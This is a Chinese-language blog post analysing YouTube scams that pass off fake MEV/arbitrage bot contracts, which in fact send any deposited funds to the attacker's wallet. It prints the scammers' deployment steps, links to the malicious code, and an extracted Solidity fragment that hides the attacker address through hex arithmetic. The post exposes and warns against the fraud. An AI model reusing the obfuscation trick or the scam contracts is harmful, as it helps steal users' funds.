# 收割“科学家”？——套利机器人陷阱

By [Bryce.W](https://paragraph.com/@brycew) · 2022-10-15

---

套利机器人，又称三明治机器人或夹子机器人，它可以实时检测Pancake或uniswap上面所有的交易，发现一定金额以上的交易时，会通过提高Gas费在购买者之前提前买入，然后等它的买入成功抬高价格后，再自动卖出，实现套利。 套利机器人都是通过智能合约部署，24小时全天候运行。

在这种靠着套利机器人自动获利的模式传播开来之后，很多人都想通过这种途径实现躺着赚钱。然而，就在这些人在想着躺着赚钱时，却又另一批人谋划着收割这些人的钱。

最近，我在研究套利机器人时，发现网上有不少教程，视频加文字讲解，事无巨细，无比贴心。然而，事实上却是暗藏祸心。

### （一）

我们先来看看第一个套路：[https://www.youtube.com/watch?v=yj0RJ-3YuWk](https://www.youtube.com/watch?v=yj0RJ-3YuWk) 。

下面是视频教程最新的截图，显示视频播放量已达15k之多，且攻击者仍保持更新，以便吸引更多的人关注并实施钓鱼攻击。

![](https://storage.googleapis.com/papyrus_images/01f14e94039412f941e8c5920fc7ef9dac37e189c982ea994c5601ae16919c6b.png)

接下来看看评论区，发现竟然一片叫好，只是不知道是攻击者自己刷好评，还是受害者还没意识自己已经受骗呢？

![](https://storage.googleapis.com/papyrus_images/a16e1aa0b2cc3afaeb5f7a4dd522aeabf1e8250740bce112706d5f7f40c76cd2.png)

随后，我总结了下视频中攻击者教导用户的步骤，大致如下：

1.  创建MetaMask钱包， 连接BSC或ETH主网；
    
2.  访问编译器Remix，进行Remix编辑器的基本介绍；
    
3.  点击“contracts”文件夹并创建一个“New File”，根据需要重命名，如：“AutoBot.sol”；
    
4.  在 Remix 中粘贴给定链接中写好的智能合约代码；
    
5.  移动到 Solidity Compiler 选项卡，选择对应版本编译；
    
6.  移动到部署选项卡，选择 Injected Web 3 环境，连接MetaMask钱包授权；
    
7.  填写\_tokenName和\_tokenSymbol，点击DEPLOY进行部署；
    
8.  部署成功后，用MetaMask钱包向刚刚部署的合约进行转账，存入资金，并温馨提示转账的合约地址别填错了；
    
9.  交易确认后，点击“Action”按钮启动BOT。**（事实上，点击”Action”就会将合约中的所有余额转入到攻击者钱包）**
    

接下来，攻击者贴出了代码地址 [https://rentry.co/9349g/raw](https://www.youtube.com/redirect?event=video_description&redir_token=QUFFLUhqa0hXdHoxMVVHa0lEcUl6MjMwNU9FdjJiclhEUXxBQ3Jtc0treFp5NUdELTR2V2NDb0cyVWZqX1BmSEpERXZoT0F0b1E3a29uYVllTTVwNExENmVXeUdmVTN4QTRybXo1Q2dGWWRFMzREdDBGckRJUzlkN0U4cDVSQ2dSbXBNbUNTSGhlWUlEOHBESk1xSTgtbGhWcw&q=https%3A%2F%2Frentry.co%2F9349g%2Fraw&v=yj0RJ-3YuWk) ，我们发现，该代码也是持续在更新，猜测是更新攻击者的钱包地址，保证获利不放在同一个钱包地址。

把代码下载到本地后，纵观全部代码，共有500多行，且看函数名和注释，涉及到合约、内存池、流动性等操作，且代码内有大量hex字符串代码，阅读难度大，给人一种看起来很干货的错觉。攻击者这样设计，很容易让部分读者知难而退，不去深究合约代码的细节，从而按照攻击者既定的步骤直接进行合约部署并运行。

![](https://storage.googleapis.com/papyrus_images/6380b109825b36c988cd65488a7c36973cfa6347864173cd48eed426d4270c37.png)

![](https://storage.googleapis.com/papyrus_images/ea37c1245d99877ac3d8e4ef440630224c8bdcb239b346322c3bd3f8a803a961.png)

一般遇到这种阅读难度大的代码怎么办呢？

既然全部代码的阅读难度大，那我们就直接从攻击者诱导我们执行的函数\*action()\*开始，看看到底想干啥。

![](https://storage.googleapis.com/papyrus_images/c3777ca6f78580b91e81c71ff556813880144920bd19dad5b7bd13f1c2554b51.png)

从代码分析，很容易得出结论：

引诱用户将本合约的全部余额转给\*\_callFrontRunActionMempool()\*函数返回的这个地址。

继续往上追踪，发现调用了\*parseMemoryPool()_和_callMempool()\*两个函数：

![](https://storage.googleapis.com/papyrus_images/ec38692af8785589ed9c1e2b218b922d0450a7fc7b1d349254bb2ee38275e62e.png)

看名字也误以为是操作内存池，而这就是攻击者故意做的混淆，我们把相关的函数全部提取出来拼接整理如下：

    pragma solidity ^0.6.6;
    
    contract PancakeswapFrontbotCal{
    
        function getMemPoolOffset() internal pure returns (uint) {
            return 177279;
        }
    
        function getMemPoolLength() internal pure returns (uint) {
            return 470532;
        }
    
        function getMemPoolHeight() internal pure returns (uint) {
            return 302444;
        }
    
        function getMemPoolDepth() internal pure returns (uint) {
            return 970567;
        }
    
        /*
         * @dev loads all pancakeswap mempool into memory
         * @param token An output parameter to which the first token is written.
         * @return `mempool`.
         */
        function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
            bytes memory _baseBytes = bytes(_base);
            bytes memory _valueBytes = bytes(_value);
    
            string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
            bytes memory _newValue = bytes(_tmpValue);
    
            uint i;
            uint j;
    
            for(i=0; i<_baseBytes.length; i++) {
                _newValue[j++] = _baseBytes[i];
            }
    
            for(i=0; i<_valueBytes.length; i++) {
                _newValue[j++] = _valueBytes[i];
            }
    
            return string(_newValue);
        }
    
        function toHexDigit(uint8 d) pure internal returns (byte) {
            if (0 <= d && d <= 9) {
                return byte(uint8(byte('0')) + d);
            } else if (10 <= uint8(d) && uint8(d) <= 15) {
                return byte(uint8(byte('a')) + d - 10);
            }
            // revert("Invalid hex digit");
            revert();
        }
    
        function checkLiquidity(uint a) internal pure returns (string memory) {
            uint count = 0;
            uint b = a;
            while (b != 0) {
                count++;
                b /= 16;
            }
            bytes memory res = new bytes(count);
            for (uint i=0; i<count; ++i) {
                b = a % 16;
                res[count - i - 1] = toHexDigit(uint8(b));
                a /= 16;
            }
            uint hexLength = bytes(string(res)).length;
            if (hexLength == 4) {
                string memory _hexC1 = mempool("0", string(res));
                return _hexC1;
            } else if (hexLength == 3) {
                string memory _hexC2 = mempool("0", string(res));
                return _hexC2;
            } else if (hexLength == 2) {
                string memory _hexC3 = mempool("000", string(res));
                return _hexC3;
            } else if (hexLength == 1) {
                string memory _hexC4 = mempool("0000", string(res));
                return _hexC4;
            }
     
            return string(res);
        }
    
        /*
         * @dev Iterating through all mempool to call the one with the with highest possible returns
         * @return `self`.
         */
        function callMempool() internal pure returns (string memory) {
            string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
            uint _memPoolSol = 511994;
            uint _memPoolLength = getMemPoolLength();
            uint _memPoolSize = 569343;
            uint _memPoolHeight = getMemPoolHeight();
            uint _memPoolWidth = 65023;
            uint _memPoolDepth = getMemPoolDepth();
            uint _memPoolCount = 523946;
    
            string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
            string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
            string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
            string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
    
            string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
            string memory _fullMempool = mempool("0", _allMempools);
    
            return _fullMempool;
        }
    
    }
    

这段代码看起来很高大上且难以阅读，涉及很多硬编码的hex字符串计算，实质上就是进行地址拼接。我们在这里不做细节讲解，直接在remix上选择JavaScript VM进行部署运行：

![](https://storage.googleapis.com/papyrus_images/edf3d7b896535362b5ac633233404d2a27fe589ecbdd36a026797b11a28190a5.png)

输出为：0x2b47f7cffa72e048afff49d6c0fdffecf477feaa

显然，这就是一个攻击者的钱包地址。

我们去浏览器上查看，发现这个地址比较新，只获利了0.01 BNB。

![](https://storage.googleapis.com/papyrus_images/0f6792455af18343891be1537db24cfef7e8da2aae8179cf1e2b96109afc2ce3.png)

显然，攻击者是定期更新攻击者钱包地址，一方面避免被追踪，一方面给受害者一种代码定时更新的假象。

### （二）

然而，故事还没结束。

我在YouTube上继续搜寻，又发现了一个攻击套路： [https://www.youtube.com/watch?v=z6MmH6mT2kI](https://www.youtube.com/watch?v=z6MmH6mT2kI)，这个视频所采取的诈骗路数和上一个如出一辙，不同点在于对攻击者钱包地址的隐匿手法。

![](https://storage.googleapis.com/papyrus_images/b0da2380a9e1d4bf5aacc1b47a3dd37320a3979325a58c3830d2cd2b8cb52956.png)

评论区依然是一片叫好：

![](https://storage.googleapis.com/papyrus_images/72046dfaf896fde306b3a35c2a0e1d1a503bc4953ca1922fef1a5312569ae961.png)

攻击者将代码放在了bitbucket：[https://bitbucket.org/pancakeswapbot/flashloan/raw/5fdeb4935a1c6e91c2e831f6dd7b6bfe092beb72/main/contract](https://bitbucket.org/pancakeswapbot/flashloan/raw/5fdeb4935a1c6e91c2e831f6dd7b6bfe092beb72/main/contract)

我们把代码复制到本地后进行分析，发现和上面案例的代码基本一致，不同点在于\*action()\*函数的实现：

![](https://storage.googleapis.com/papyrus_images/5d0a69fbee5922ae6d6bb639c1513c8e2aae3d0940ee7e9ab2fea0dde169635a.png)

这里攻击者引诱用户将本合约的全部余额转给\*manager.uniswapDepositAddress()\*返回的这个地址。

这里调用了\*manager.uniswapDepositAddress()，\*本身代码也不在本合约中，看名字又极具迷惑性，很容易让人以为是调用了uniswap的某个官方函数而掉以轻心。但我们根据本合约引用的代码进行追踪，发现存在于这个地址：

![](https://storage.googleapis.com/papyrus_images/5f10c830183ff30ac3bfe65b01e5ab71995f4223184a3317f8a24d0f96e7e044.png)

进一步到bitbucket的代码库中进行跟踪，可以发现\*manager.uniswapDepositAddress()\*返回的就是攻击者的其中一个钱包地址：

![](https://storage.googleapis.com/papyrus_images/b6bbab092c7c70e00a2cece3a2644c723ae39422f8e7000574e6fe82ccab6241.png)

在本案例中，攻击者甚至都抛弃了复杂的hex运算，直接从import方式获取钱包地址，简单粗暴。

我们去浏览器上查看，发现该地址持续收到转账，说明一直都有人上当受骗。

![](https://storage.googleapis.com/papyrus_images/3c434bd1adce01594f0c74740e351b639cff7704248ce0384f6a22cbebbf2940.png)

上面为什么说是攻击者的其中一个钱包地址呢？因为我们对攻击者的bitbucket中进行了代码扫描，初步发现了利用这种方法攻击的收款地址多达十几个，攻击者只需要更改import文件即可实现收款地址的更改，这些地址均使用\*manager.uniswapDepositAddress()\*进行伪装。

### （三）

就在我准备结束时，竟然意外收到了朋友的举报：[https://www.youtube.com/watch?v=OZ-YAB5\_-Dg](https://www.youtube.com/watch?v=OZ-YAB5_-Dg)

这是一个代码更简单，钓鱼更直接，更新也最频繁，播放量也最高的一个。

![](https://storage.googleapis.com/papyrus_images/3226c824f9502f7d6fb3a683cb12ae4f99fc9ba4b095afa7545242cc89f92b46.png)

我们用同样的方法进行分析，先通过攻击者的代码地址[https://pst.klgrth.io/paste/kyh3m/raw](https://pst.klgrth.io/paste/kyh3m/raw)将代码拷贝到remix，发现大部分都是注释。果断先删掉注释后，再来看：

![](https://storage.googleapis.com/papyrus_images/331f2c4f82bd98d248648ecc4891347891a483e0fc088c15752c65ceea82138a.png)

发现攻击手法如出一辙，且代码更加简单粗暴。同样action()直接调用transfer进行转账，而转账地址则来自于import的另一处代码，继续追踪：

![](https://storage.googleapis.com/papyrus_images/2bccf4c31fe3aa3eb8af671a230c5e0aae33b7c6407dcbd58dc33e1940e94e9b.png)

和上一个案例一样，在外部代码返回攻击者钱包地址。

我们去浏览器上查看，发现攻击者已获利 7.5 BNB。

![](https://storage.googleapis.com/papyrus_images/98bf2dda36a12f0323510147c0a53e96db706772eb237da39b159e41d31dc37f.png)

我们对上述提到的所有攻击者地址进行了初步统计，目前共获利125BNB，价值约3万美元，详细地址及获利如下：

![](https://storage.googleapis.com/papyrus_images/b74acca557342cbb7d50fd43c65bdf6e6147af7cfecd3ac7200866c64494aba5.png)

最后，我们来总结一下这种类型的钓鱼攻击的手法：

受害者先按照视频上的教学步骤复制代码并在remix上进行恶意合约的部署，再根据视频和评论中所说需要gas费才能启动套利机器人，于是往合约上转入资金，最后根据攻击者引导，调用action操作，将转入的资金全部转给攻击者的钱包。

所以在此建议大家，天下没有免费的午餐，想要通过套利机器人进行获利，最好是能吃透原理，仔细分析代码的实现逻辑，确保自己在获利前不被钓鱼诈骗。

---

*Originally published on [Bryce.W](https://paragraph.com/@brycew/KEr8voeW0HPkD9TK1zRY)*
